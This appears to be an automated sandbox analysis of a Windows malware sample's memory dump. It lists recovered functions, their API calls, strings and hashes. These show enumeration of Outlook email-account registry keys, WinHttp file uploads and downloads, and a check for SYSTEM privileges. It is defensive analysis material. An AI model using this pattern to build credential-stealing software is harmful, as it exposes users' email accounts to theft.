GetLastError.KERNEL32(?,?,?,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508,?,?,?,0041081C,00411508,00000000), ref: 0043E260
FindFirstFileExW.KERNEL32(000000FF,00000000,?,00000000,00000000,00000000,?,?,?,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508), ref: 0043E27A
GetLastError.KERNEL32(?,?,?,?,004117CC,00000000,7FFFFFFF,?,00000000,00411508,?,?,?,0041081C,00411508,00000000), ref: 0043E287

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Find$ErrorFileFirstLast$Close
String ID:
API String ID: 569926201-0
Opcode ID: a41c8e2ae2038ebd777fe46b62cd7069cc44b761b922704209fb22ef628d10c3
Instruction ID: 38e3f7b6556588ad09352e70c6a81f0c015053b48b3a69d54183e0af43ec4f8b
Opcode Fuzzy Hash: a41c8e2ae2038ebd777fe46b62cd7069cc44b761b922704209fb22ef628d10c3
Instruction Fuzzy Hash: 19015231001184BBCB201FB7EC4CC6B3F7DEBDA721F10566AF968915E1D7718861DA69

Uniqueness

Uniqueness Score: -1.00%

Function 004364C1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,761524D0,00000000), ref: 004364E3

Part of subcall function 004105DD: std::locale::_Init.LIBCPMT ref: 00410600

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00436624

Strings

m, xrefs: 004365D9

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: InformationInitIos_base_dtorTimeZonestd::ios_base::_std::locale::_
String ID: m
API String ID: 3991488653-3775001192
Opcode ID: 18a49cdd1ea837f64170b68f632914f28cca6a883b0556663d42cdb209029e58
Instruction ID: d9f95aeac852975f227c79fe4c6e2ea2c63425272fe72248a342bcfe58b4b145
Opcode Fuzzy Hash: 18a49cdd1ea837f64170b68f632914f28cca6a883b0556663d42cdb209029e58
Instruction Fuzzy Hash: DA41BE70D00248DBDB11DFAAC9457EEFBB5AF48304F1081AED4097B242EB786A89CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00413FD7, Relevance: 5.3, Strings: 4, Instructions: 322COMMON

Download Yara Rule

Strings

)hyymh}h, xrefs: 00414014
Zlaahy~Q, xrefs: 00414392
b, xrefs: 00414358
4f[UY]ZS, xrefs: 00414294

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Deallocate
String ID: Zlaahy~Q$)hyymh}h$4f[UY]ZS$b
API String ID: 1075933841-976597023
Opcode ID: 5fbc9f80b3b3e9b8607d033dcc5b4381717eff5a1ac512cdb1a347889f378c52
Instruction ID: a2d46332f3e21ac85759187fca374b3b900e18898cddd4140d7c882cf4a95664
Opcode Fuzzy Hash: 5fbc9f80b3b3e9b8607d033dcc5b4381717eff5a1ac512cdb1a347889f378c52
Instruction Fuzzy Hash: 14D1D070D0029CCADF24DFA5D991AEDBBB1AF55304F1041AEE44577282EB785A88CF29

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3FB, Relevance: 5.3, APIs: 4, Instructions: 271memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 0040A518
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 0040A51F
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?), ref: 0040A6AE
HeapFree.KERNEL32(00000000), ref: 0040A6B5

Part of subcall function 0040FFFF: _Deallocate.LIBCONCRT ref: 00410014

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$FreeProcess$Deallocate
String ID:
API String ID: 3683097869-0
Opcode ID: 6175f3de660614c8195c6396af498f7362ef19f95abf68a8096bea858ac90df9
Instruction ID: 29844e986e23b03c541e44f55f09a04b83e6ba510b37834b82bf2b9beada1e36
Opcode Fuzzy Hash: 6175f3de660614c8195c6396af498f7362ef19f95abf68a8096bea858ac90df9
Instruction Fuzzy Hash: 41B12871C0021DDBCF15EBE5C995AEDB7B4AF18308F24416EE40177282EB786E48CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00446991, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00411508,?,00446990,000000FF,?,00411508,000000FF,00411508,?), ref: 004469B3
TerminateProcess.KERNEL32(00000000,?,00446990,000000FF,?,00411508,000000FF,00411508,?), ref: 004469BA
ExitProcess.KERNEL32 ref: 004469CC

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 33f32b213f743f3767cfff11261c86ec7ebdb48ca6a64c697c3c5e4265cb45f9
Instruction ID: 7345f05a3e1d06e07622e28af21cd5690e0e32284a71563797206f56cf5adc6f
Opcode Fuzzy Hash: 33f32b213f743f3767cfff11261c86ec7ebdb48ca6a64c697c3c5e4265cb45f9
Instruction Fuzzy Hash: 26E08CB2000148FFCF116F94DC59A2A3B29FB01342F05082AF84586631DBBEED81CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00432DA6, Relevance: 79.3, APIs: 33, Strings: 12, Instructions: 539filestringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041021C: _Deallocate.LIBCONCRT ref: 0041022B

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00432FE0
CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0043305F
WriteFile.KERNEL32(00000000,?,00000010,?,00000000), ref: 00433072
CloseHandle.KERNEL32(00000000), ref: 00433079
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0043308D
GetFileSize.KERNEL32(00000000,00000000), ref: 0043309C
GetProcessHeap.KERNEL32(00000000,00000800), ref: 004330AD
HeapAlloc.KERNEL32(00000000), ref: 004330B4
lstrlenA.KERNEL32 ref: 004330CB
lstrcpynA.KERNEL32(00000000,00000001), ref: 004330E0
lstrlenA.KERNEL32(?), ref: 004330ED
lstrcpynA.KERNEL32(?,?,00000001), ref: 004330FC
ReadFile.KERNEL32(?,?,00000001,?,00000000), ref: 00433113
lstrlenA.KERNEL32(?), ref: 00433129
lstrcpynA.KERNEL32(?,?,00000001), ref: 0043313C
WinHttpSetOption.WINHTTP(00000000,00000000,00000000,00000000,00000000), ref: 0043314D
WinHttpSetOption.WINHTTP(00000000,00000006,?,00000004), ref: 0043316E
WinHttpSetOption.WINHTTP(00000000,00000005,000F4240,00000004), ref: 00433179
WinHttpConnect.WINHTTP(00000000,00000000,000001BB,00000000,?), ref: 00433218
WinHttpConnect.WINHTTP(00000000,00000000,00000050,00000000,?), ref: 00433279
WinHttpOpenRequest.WINHTTP(00000000,POST,00000000,00000000,00000000,00000000,00800100,?), ref: 004332FF
WinHttpOpenRequest.WINHTTP(00000000,POST,00000000,00000000,00000000,00000000,00000100,?), ref: 00433367
WinHttpSendRequest.WINHTTP(00000000,00000000,000000FF,00000008,?,?,00000000,?), ref: 004333D4
WinHttpReceiveResponse.WINHTTP(00000000,00000000), ref: 004333FC

Part of subcall function 00437EF1: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,?,00000000,00000000,?,?,?,?,00433A88,?,00000001,00000000,00000002,00000080), ref: 00437F16
Part of subcall function 00437EF1: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,?,?,?,00000000,00000000,?,?,?,?,00433A88,?,00000001,00000000), ref: 00437F4B

WinHttpQueryDataAvailable.WINHTTP(00000000,?), ref: 00433412
WinHttpReadData.WINHTTP(00000000,00000000,?,?), ref: 00433447
WinHttpCloseHandle.WINHTTP(00000000), ref: 004334DE
WinHttpCloseHandle.WINHTTP(00000000), ref: 004334E8
CloseHandle.KERNEL32(?), ref: 004334F1
DeleteFileA.KERNEL32(?), ref: 004334FA
WinHttpCloseHandle.WINHTTP(00000000), ref: 00433501
GetProcessHeap.KERNEL32(00000000,00000010), ref: 0043350B
RtlFreeHeap.NTDLL(00000000), ref: 00433512

Strings

w{s+, xrefs: 00432EA8
"; filename=", xrefs: 00432EEA
x, xrefs: 00432E0E
%[^:]://%[^/]%[^], xrefs: 00433190
,oO/, xrefs: 00432E04
https, xrefs: 004331A3
4, xrefs: 00432EBA
T(nH, xrefs: 00432DFA
POST, xrefs: 004332F9, 00433361
#oo, xrefs: 00432E55
`+"p, xrefs: 004334DE, 004334E8, 00433501
w-6x, xrefs: 00432E96

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Http$File$CloseHandle$Heap$OptionRequestlstrcpynlstrlen$ByteCharConnectCreateDataDeleteMultiOpenProcessReadWide$AllocAvailableDeallocateFreeQueryReceiveResponseSendSizeWrite
String ID: "; filename="$#oo$%[^:]://%[^/]%[^]$,oO/$4$POST$T(nH$`+"p$https$w-6x$w{s+$x
API String ID: 1488394985-646457767
Opcode ID: 3038ff32be9ca56c8b1400a048c8da244cc3bbe539988d9b9aa934f8eaf3385b
Instruction ID: 488618c5b1b8ee64508ea158e93c2483a58463e879392a177ce3907a7eb37705
Opcode Fuzzy Hash: 3038ff32be9ca56c8b1400a048c8da244cc3bbe539988d9b9aa934f8eaf3385b
Instruction Fuzzy Hash: C822BE70D00258AFDB11DFA4CD85BEEBBB4BF59304F1041AAE445A7251EB785E88CF29

Uniqueness

Uniqueness Score: -1.00%

Function 0043391A, Relevance: 35.3, APIs: 16, Strings: 4, Instructions: 267fileCOMMON

Download Yara Rule

APIs

WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,00489F14,0000000F,00489E24), ref: 00433957
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000002,00000080,00000000), ref: 0043397B
WinHttpConnect.WINHTTP(?,00000000,000001BB,00000000,?,00000001,00000000,00000002,00000080,00000000), ref: 00433A44

Part of subcall function 00437EF1: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,?,00000000,00000000,?,?,?,?,00433A88,?,00000001,00000000,00000002,00000080), ref: 00437F16
Part of subcall function 00437EF1: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,?,?,?,00000000,00000000,?,?,?,?,00433A88,?,00000001,00000000), ref: 00437F4B

WinHttpConnect.WINHTTP(?,00000000,00000050,00000000,?,00000001,00000000,00000002,00000080,00000000), ref: 00433A96
WinHttpOpenRequest.WINHTTP(00000000,GET,00000000,00000000,00000000,00000000,00800100,?), ref: 00433B0B
WinHttpOpenRequest.WINHTTP(00000000,GET,00000000,00000000,00000000,00000000,00000100,?), ref: 00433B6C
WinHttpSendRequest.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00433B9C
WinHttpReceiveResponse.WINHTTP(00000000,00000000), ref: 00433BA8
WinHttpQueryDataAvailable.WINHTTP(00000000,?), ref: 00433BBD
WinHttpReadData.WINHTTP(00000000,00000000,?,?), ref: 00433BE8
WriteFile.KERNEL32(?,00000000,?,77776B03,00000000), ref: 00433BFD
GetLastError.KERNEL32 ref: 00433C18
WinHttpCloseHandle.WINHTTP(00000000), ref: 00433C1F
WinHttpCloseHandle.WINHTTP(00000000), ref: 00433C29
CloseHandle.KERNEL32(?,00000001,00000000,00000002,00000080,00000000), ref: 00433C32
WinHttpCloseHandle.WINHTTP(?), ref: 00433C39

Strings

sp, xrefs: 004339B8
%99[^:]://%99[^/]%99[^], xrefs: 004339A1
GET, xrefs: 00433B05, 00433B66
`+"p, xrefs: 00433C1F, 00433C29, 00433C39

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Http$CloseHandle$OpenRequest$ByteCharConnectDataFileMultiWide$AvailableCreateErrorLastQueryReadReceiveResponseSendWrite
String ID: %99[^:]://%99[^/]%99[^]$GET$`+"p$sp
API String ID: 205721910-1348518709
Opcode ID: 604541c1a913e1dbdf29edfa29a1df8ee4521874404ee72076ae125e5cd6dbb3
Instruction ID: 85310307eb2ba3cb59520b1d0270b2dc7a3701ea26239b5a557f0104cf3bdeb4
Opcode Fuzzy Hash: 604541c1a913e1dbdf29edfa29a1df8ee4521874404ee72076ae125e5cd6dbb3
Instruction Fuzzy Hash: 3EA171719002599FDB10DFA0CD85BEEB7B8BF09305F5040AAE445A7241EBB85E49CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00433544, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 306COMMON

Download Yara Rule

APIs

WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,?,004792FB,00000000), ref: 00433592
WinHttpConnect.WINHTTP(00000000,00000000,000001BB,00000000,?,?,?,?,004792FB,00000000), ref: 0043365F

Part of subcall function 00437EF1: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,?,00000000,00000000,?,?,?,?,00433A88,?,00000001,00000000,00000002,00000080), ref: 00437F16
Part of subcall function 00437EF1: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,?,?,?,00000000,00000000,?,?,?,?,00433A88,?,00000001,00000000), ref: 00437F4B

WinHttpConnect.WINHTTP(00000000,00000000,00000050,00000000,?,?,?,?,004792FB,00000000), ref: 004336B3
WinHttpOpenRequest.WINHTTP(00000000,?,00000000,00000000,00000000,00000000,00800100,?,?,?,?,004792FB,00000000), ref: 00433736
WinHttpOpenRequest.WINHTTP(00000000,?,00000000,00000000,00000000,00000000,00000100,?,?,?,?,004792FB,00000000), ref: 004337A8
_strlen.LIBCMT ref: 004337D6
_strlen.LIBCMT ref: 004337E0
WinHttpSendRequest.WINHTTP(00000000,Content-Type: text/plain; charset=UTF-8,000000FF,?,00000000,00000000,00000000,?,?,?,004792FB,00000000), ref: 004337F7
WinHttpReceiveResponse.WINHTTP(00000000,00000000,?,?,?,004792FB,00000000), ref: 00433809
WinHttpQueryDataAvailable.WINHTTP(00000000,?,?,?,?,004792FB,00000000), ref: 00433821
WinHttpReadData.WINHTTP(00000000,00000000,?,?,?,?,?,?,?,?,?,004792FB,00000000), ref: 0043384D
GetLastError.KERNEL32(?,?,?,004792FB,00000000), ref: 004338E8
WinHttpCloseHandle.WINHTTP(00000000,?,?,?,004792FB,00000000), ref: 004338F2
WinHttpCloseHandle.WINHTTP(00000000,?,?,?,004792FB,00000000), ref: 004338FC
WinHttpCloseHandle.WINHTTP(00000000,?,?,?,004792FB,00000000), ref: 00433903

Strings

ji, xrefs: 004335D1
Content-Type: text/plain; charset=UTF-8, xrefs: 004337F1
%99[^:]://%99[^/]%99[^], xrefs: 004335BA
`+"p, xrefs: 004338F2, 004338FC, 00433903

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Http$CloseHandleOpenRequest$ByteCharConnectDataMultiWide_strlen$AvailableErrorLastQueryReadReceiveResponseSend
String ID: %99[^:]://%99[^/]%99[^]$Content-Type: text/plain; charset=UTF-8$`+"p$ji
API String ID: 2459271378-618173040
Opcode ID: d0efc3a3074068669bceb872f8888e61de182d3167b9840506cac2cb2c9169f9
Instruction ID: 70eba32ece42ebc77b27d2ed08e263848b1217a3f59f811cc65c7ea5a46a1e87
Opcode Fuzzy Hash: d0efc3a3074068669bceb872f8888e61de182d3167b9840506cac2cb2c9169f9
Instruction Fuzzy Hash: 39C182719012189FDB18DF65C985AFEB7B4EF09304F1081AEE405A7241EB749F49CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00434647, Relevance: 28.6, APIs: 3, Strings: 16, Instructions: 102stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00433DF6: LoadLibraryA.KERNEL32(?,?,?,00000000,?,?,?,00434662,00000001,?,?,?,0043479B), ref: 00433E37
Part of subcall function 00433DF6: GetProcAddress.KERNEL32(00000000,?), ref: 00433E74
Part of subcall function 00433DF6: FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,00434662,00000001,?,?,?,0043479B), ref: 00433EA8

Part of subcall function 00434254: RegOpenKeyExW.KERNEL32(80000001,0043479B,00000000,00020019,0043479B,?,?,00434671,00000001,?,?,?,0043479B), ref: 00434279
Part of subcall function 00434254: RegEnumKeyExW.ADVAPI32(0043479B,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,00434671,00000001), ref: 0043430A
Part of subcall function 00434254: RegCloseKey.ADVAPI32(0043479B,?,?,00434671,00000001,?,?,?,0043479B), ref: 00434317

Part of subcall function 00434321: RegOpenKeyExW.KERNEL32(80000001,0043479B,00000000,00020019,0043479B,?,?,?,00434685,Identities,00000001,?,?,?,0043479B), ref: 00434348
Part of subcall function 00434321: RegEnumKeyExW.ADVAPI32(0043479B,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00434685,Identities,00000001), ref: 00434373
Part of subcall function 00434321: lstrlenW.KERNEL32(0043479B,00000000,?,?,?,00434685,Identities,00000001,?,?,?,0043479B), ref: 0043438A
Part of subcall function 00434321: lstrlenW.KERNEL32(?,00000000,?,?,?,00434685,Identities,00000001,?,?,?,0043479B), ref: 00434397
Part of subcall function 00434321: lstrcpyW.KERNEL32 ref: 004343B8
Part of subcall function 00434321: lstrcatW.KERNEL32(00000000,0047E094), ref: 004343C4
Part of subcall function 00434321: lstrcatW.KERNEL32(00000000,?), ref: 004343D2
Part of subcall function 00434321: lstrcatW.KERNEL32(00000000,?), ref: 004343DE
Part of subcall function 00434321: RegEnumKeyExW.ADVAPI32(0043479B,?,?,000007FF,00000000,00000000,00000000,00000000,?,?,?,00434685,Identities,00000001), ref: 00434418
Part of subcall function 00434321: RegCloseKey.ADVAPI32(0043479B,?,?,?,00434685,Identities,00000001,?,?,?,0043479B), ref: 0043442D

Part of subcall function 00434C24: RegOpenKeyExW.KERNEL32(80000001,0043479B,00000000,00000100,00000100,?,SMTP Email Address,0047DD50), ref: 00434C6C
Part of subcall function 00434C24: RegQueryValueExW.KERNEL32(00000100,00000000,00000000,00000000,00000000,?), ref: 00434C8B
Part of subcall function 00434C24: RegQueryValueExW.KERNEL32(00000100,00000000,00000000,00000000,00000000,?), ref: 00434CC6
Part of subcall function 00434C24: RegCloseKey.ADVAPI32(00000100), ref: 00434CE7

lstrlenW.KERNEL32(00000000,?,?,?,0043479B), ref: 004346A9
lstrcpyW.KERNEL32 ref: 004346C1
lstrcpyW.KERNEL32 ref: 004346CD

Part of subcall function 00434254: lstrlenW.KERNEL32(0043479B,?,?,00434671,00000001,?,?,?,0043479B), ref: 0043429F
Part of subcall function 00434254: lstrcpyW.KERNEL32 ref: 004342BC
Part of subcall function 00434254: lstrcatW.KERNEL32(00000000,0047E094), ref: 004342C8
Part of subcall function 00434254: lstrcatW.KERNEL32(00000000,?), ref: 004342D6

Part of subcall function 004457E5: _free.LIBCMT ref: 004457F8

Strings

Software\Microsoft\Internet Account Manager\Accounts, xrefs: 00434665
Outlook, xrefs: 0043468A
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings, xrefs: 00434700
Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook, xrefs: 00434735
Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook, xrefs: 00434719
\Software\Microsoft\Internet Account Manager\Accounts, xrefs: 00434671
\Accounts, xrefs: 004346C7
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook, xrefs: 0043470B
Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook, xrefs: 00434751
Software\Microsoft\Internet Account Manager, xrefs: 0043468F
Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook, xrefs: 00434773
Identities, xrefs: 0043467B
Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook, xrefs: 00434743
Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts, xrefs: 004346EE
Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook, xrefs: 00434727
Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook, xrefs: 0043475F

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$lstrcpylstrlen$CloseEnumOpen$LibraryQueryValue$AddressFreeLoadProc_free
String ID: Identities$Outlook$Software\Microsoft\Internet Account Manager$Software\Microsoft\Internet Account Manager\Accounts$Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook$\Accounts$\Software\Microsoft\Internet Account Manager\Accounts
API String ID: 527226083-92925148
Opcode ID: 6b0635686c8f21023c11db3d69e4d4313b024a1a3bb55fc777cd352f4db89cc5
Instruction ID: 937f44236db94daee0fe8681f54342f9248f9fc092468155fe89038a22341108
Opcode Fuzzy Hash: 6b0635686c8f21023c11db3d69e4d4313b024a1a3bb55fc777cd352f4db89cc5
Instruction Fuzzy Hash: FD316F71600208BAEB04EBD3DDC3DEE73ACDB9C748FA0559EF40516582EB7C6E059629

Uniqueness

Uniqueness Score: -1.00%

Function 00463F7E, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 00463C37: CreateFileW.KERNEL32(00000000,?,?,'@F,?,?,00000000,?,00464027,00000000,0000000C), ref: 00463C54

GetLastError.KERNEL32 ref: 00464092
__dosmaperr.LIBCMT ref: 00464099
GetFileType.KERNEL32(00000000), ref: 004640A5
GetLastError.KERNEL32 ref: 004640AF
__dosmaperr.LIBCMT ref: 004640B8
CloseHandle.KERNEL32(00000000), ref: 004640D8
CloseHandle.KERNEL32(0045A6C9), ref: 00464225
GetLastError.KERNEL32 ref: 00464257
__dosmaperr.LIBCMT ref: 0046425E

Strings

H, xrefs: 004641E3

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 798b9bc35396ca6c2baab9c1204d8dcf12cce4d91341f8921e6a77938d2f3a43
Instruction ID: 7238c08319a0e7d7dee45458d41a3d46b5ef25f1fe47b238be298a8bd4de356f
Opcode Fuzzy Hash: 798b9bc35396ca6c2baab9c1204d8dcf12cce4d91341f8921e6a77938d2f3a43
Instruction Fuzzy Hash: 76A13832A101549FDF19DF68DC91BAE3BA1EB46324F14015EF801AB391E7389D46CB5B

Uniqueness

Uniqueness Score: -1.00%

Function 0041AADE, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 188filetimeCOMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 0041AB9C
wsprintfA.USER32 ref: 0041ABF6
wsprintfA.USER32 ref: 0041AC17
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000010,00000000), ref: 0041AC46
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0041ACB8
SetFileTime.KERNEL32(?,?,?,?), ref: 0041ACF2
CloseHandle.KERNEL32(?), ref: 0041AD02

Strings

:, xrefs: 0041ABD0
%s%s%s, xrefs: 0041ABF0
%s%s, xrefs: 0041AC11

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: File$wsprintf$CloseCreateHandleTimeWrite_strcat
String ID: %s%s$%s%s%s$:
API String ID: 840165387-3034790606
Opcode ID: 28d6de1ddc86516c1e2549e184bbefab0f7773d981035f959024cfa8f77d67e2
Instruction ID: 63a224d45850cb6429e31840998f079c384e410d748b85ec9cf0d0aac3af6d7a
Opcode Fuzzy Hash: 28d6de1ddc86516c1e2549e184bbefab0f7773d981035f959024cfa8f77d67e2
Instruction Fuzzy Hash: B2613A305093489BCB20DF68C884BEA776AAF05304F14406FF59997281E778AEE5DB5F

Uniqueness

Uniqueness Score: -1.00%

Function 0043807C, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 0043808E
OpenProcessToken.ADVAPI32(00000000), ref: 00438095
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 004380AF
GetLastError.KERNEL32 ref: 004380B9
GlobalAlloc.KERNEL32(00000040,00000000), ref: 004380C9
GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 004380DD
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 004380F1
GlobalFree.KERNEL32 ref: 00438111

Strings

S-1-5-18, xrefs: 004380FE

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Token$GlobalInformationProcess$AllocConvertCurrentErrorFreeLastOpenString
String ID: S-1-5-18
API String ID: 857934279-4289277601
Opcode ID: d6edb749d9408a3ea40f5663012898d27188a7347c287f7e57697d206770b822
Instruction ID: 1c2fceff7e4ac7716f4791b4e914bb9b39cd462ec03f35671b08ce6f216c91ae
Opcode Fuzzy Hash: d6edb749d9408a3ea40f5663012898d27188a7347c287f7e57697d206770b822
Instruction Fuzzy Hash: A2112B76A00204FBDF209BE2DC49BAFBF78EB48755F10406AF901E1191EB748A05DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00434321, Relevance: 15.1, APIs: 10, Instructions: 102stringregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,0043479B,00000000,00020019,0043479B,?,?,?,00434685,Identities,00000001,?,?,?,0043479B), ref: 00434348
RegEnumKeyExW.ADVAPI32(0043479B,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00434685,Identities,00000001), ref: 00434373
lstrlenW.KERNEL32(0043479B,00000000,?,?,?,00434685,Identities,00000001,?,?,?,0043479B), ref: 0043438A
lstrlenW.KERNEL32(?,00000000,?,?,?,00434685,Identities,00000001,?,?,?,0043479B), ref: 00434397
lstrcpyW.KERNEL32 ref: 004343B8
lstrcatW.KERNEL32(00000000,0047E094), ref: 004343C4
lstrcatW.KERNEL32(00000000,?), ref: 004343D2
lstrcatW.KERNEL32(00000000,?), ref: 004343DE
RegEnumKeyExW.ADVAPI32(0043479B,?,?,000007FF,00000000,00000000,00000000,00000000,?,?,?,00434685,Identities,00000001), ref: 00434418
RegCloseKey.ADVAPI32(0043479B,?,?,?,00434685,Identities,00000001,?,?,?,0043479B), ref: 0043442D

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$Enumlstrlen$CloseOpenlstrcpy
String ID:
API String ID: 3646165539-0
Opcode ID: 82245b2d681a7b52f24025ec4a43bd66853ceb485038207075f96c47c7af727d
Instruction ID: edcf6358a5545bc4351ff4b41facd75367495da6f22975dbed046679669dbfe1
Opcode Fuzzy Hash: 82245b2d681a7b52f24025ec4a43bd66853ceb485038207075f96c47c7af727d
Instruction Fuzzy Hash: 87315271500149BBEB109B91DC88EFF7BBCEFC9744F04406AF945E2210EB789A41DE65

Uniqueness

Uniqueness Score: -1.00%

Function 0045963D, Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38dd097e261d72086873a0059649ce4340b2a4cc31a9325a68cc112e62f95944
Instruction ID: 78ec871ba7edcebd0ea00293587fd3a30828d7ff191a6cdaa61738fa2a47cb1e
Opcode Fuzzy Hash: 38dd097e261d72086873a0059649ce4340b2a4cc31a9325a68cc112e62f95944
Instruction Fuzzy Hash: 0AC1FEB0A04245EFDB15DFA9D880BBEBBB1AF49305F04405EE8459B393C7389D49CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004556FE, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 00458F7E: RtlAllocateHeap.NTDLL(00000000,0043E8E3,00000000,?,00440BCE,00000002,00000000,?,?,?,00408226,0043E8E3,00000004,00000000,00000000,00000000), ref: 00458FB0

_free.LIBCMT ref: 0045580D
_free.LIBCMT ref: 00455824
_free.LIBCMT ref: 00455841
_free.LIBCMT ref: 0045585C
_free.LIBCMT ref: 00455873

Strings

#G, xrefs: 00455751
|#G, xrefs: 004557E7

Memory Dump Source

Source File: 00000002.00000002.661940656.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$AllocateHeap
String ID: #G$|#G
API String ID: 3033488037-495984428
